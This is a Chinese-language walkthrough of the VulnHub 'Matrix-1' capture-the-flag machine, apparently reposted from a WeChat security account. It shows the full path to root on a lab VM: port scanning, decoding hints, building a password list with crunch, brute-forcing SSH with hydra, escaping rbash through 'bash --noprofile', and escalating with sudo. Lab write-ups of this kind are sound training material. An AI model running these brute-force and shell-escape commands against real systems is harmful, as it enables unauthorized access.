本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com
大家好，我们是想要为亿人提供安全的亿人安全，这是我们自己想要做的事情，也是做这个公众号的初衷。希望以干货的方式，让大家多多了解这个行业，从中学到对自己有用的知识。
靶机描述：
下载地址：http://www.vulnhub.com/entry/matrix-1,259/
级别：中级
目标：得到 root 权限和打开 flag.txt
扫描靶机 ip
arp-scan -l
攻击机：192.168.86.138
靶机：192.168.86.162
查看开放端口及版本信息
nmap -sV -p- 192.168.86.162
访问 80 端口页面，Follow the White Rabbit(跟随白色兔子)，Welcome to the real world, Neo. I'm glad you're here(欢迎来到真实世界，尼奥。很高兴你能在这里)。(ps~ 黑客帝国帝国的片段)
http://192.168.86.162:80
查看网页源码时发现发现图片链接
打开后是一只白兔，并图片命名为 31337.png，根据提示那重要信息应该在 31337 端口中
打开 31337 端口页面，Cypher(暗号)，"You know.. I know this steak doesn't exist. I know when I put it in my mouth; the Matrix is telling my brain that it is juicy, and delicious. After nine years.. you know what I realize? Ignorance is bliss."(“我知道这块牛排不存在。我知道当我放进嘴里时，矩阵正在告诉我的大脑它是美味多汁的。九年之后，你知道我意识到什么了吗？无知是幸福的。”)
http://192.168.86.162:31337
查看网页源码，找到用 base64 编码的一段话
解码后，Then you'll see, that it is not the spoon that bends, it is only yourself.>Cypher.matrix(你将会看见，弯曲的不是汤勺，而是你的信念。)
https://base64.us/
尝试以 / Cypher.matrix 为路径打开网页，出现了下载文件提示
http://192.168.86.162:31337/Cypher.matrix
下载文件查看，文件内容使用 brainfuch 编码加密，进行解码后得到提示，You can enter into matrix as guest, with password k1ll0rXX Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.(你可以以 guest 进入到矩阵，密码为 k1ll0rXX 提示：事实上，我忘记了最后两个字符，所以我用 XX 替代了它们，你够幸运的话去找到正确的密码字符串)
https://www.splitbrain.org/services/ook
使用 crunch 字典生成工具生成密码字典，选择要使用的字符集范围，选择使用 lalpha-numeric 字符集
文件路径：/usr/share/crunch/charset.lst
生成字符字典
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric -t k1ll0r@@ > pwd.dic
8 8:表示密码的长度为8位
-f /usr/share/crunch/charset.lst lalpha-numeric:指定字符集
-t k1ll0r@@:指定模式，@@插入小写字符
> pwd.dic:生成字典文件
得到字典文件后使用 hydra 通过连接 ssh 进行密码破解
hydra -l guest -P pwd.dic -v 192.168.86.162 ssh
-l:指定用户
-P:指定字典
-v:显示爆破详细信息
登录 ssh 成功
由于 bash shell 功能受限，所以采取 rbash 绕过方式
参考文章：
https://www.freebuf.com/articles/system/188989.html
重新登录 ssh，成功绕过 rbash
ssh [email protected] -t "bash --noprofile"
使用命令查看目前用户权限
sudo -l
成功切换到 root 用户，得到 flag.txt
sudo su root